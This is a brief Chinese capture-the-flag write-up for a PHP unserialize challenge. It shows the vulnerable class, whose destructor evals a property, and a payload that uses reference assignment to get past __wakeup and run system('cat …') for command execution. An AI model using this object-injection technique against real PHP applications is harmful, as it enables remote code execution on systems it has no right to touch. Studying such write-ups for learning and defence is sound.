UUCTF 2022 新生赛]ez_unser | NSSCTF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php show_source(__FILE__);
class test{ public $a; public $b; public $c; public function __construct(){ $this->a=1; $this->b=2; $this->c=3; } public function __wakeup(){ $this->a=''; } public function __destruct(){ $this->b=$this->c; eval($this->a); } } $a=$_GET['a']; if(!preg_match('/test":3/i',$a)){ die("你输入的不正确!!!搞什么!!"); } $bbb=unserialize($_GET['a']); NSSCTF{This_iS_SO_SO_SO_EASY}
|
讨人厌的wafif(!preg_match('/test":3/i',$a))
,这里写死了反序列化后的成员数量,让你无法绕过wakeup()魔法,必定触发 $this->a='';
然后不能命令执行了.
这样我们选择一手金蝉脱壳
运用引用赋值,将b和a的引用指向同一个地方,这样也就能让b和a的值同时变化
,题中只对a的值做变化,而其引用b的地址没变,进而通过控制c控制b的值然后a和b一个引用
,因此仍然是可以命令执行的.
Payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class test{ public $a,$b,$c; public function __construct(){ $this->a=1; $this->b=&$this->a; $this->c="system('cat /fffffffffflagafag');"; } } echo serialize(new test());
|
字符串逃逸,伪协议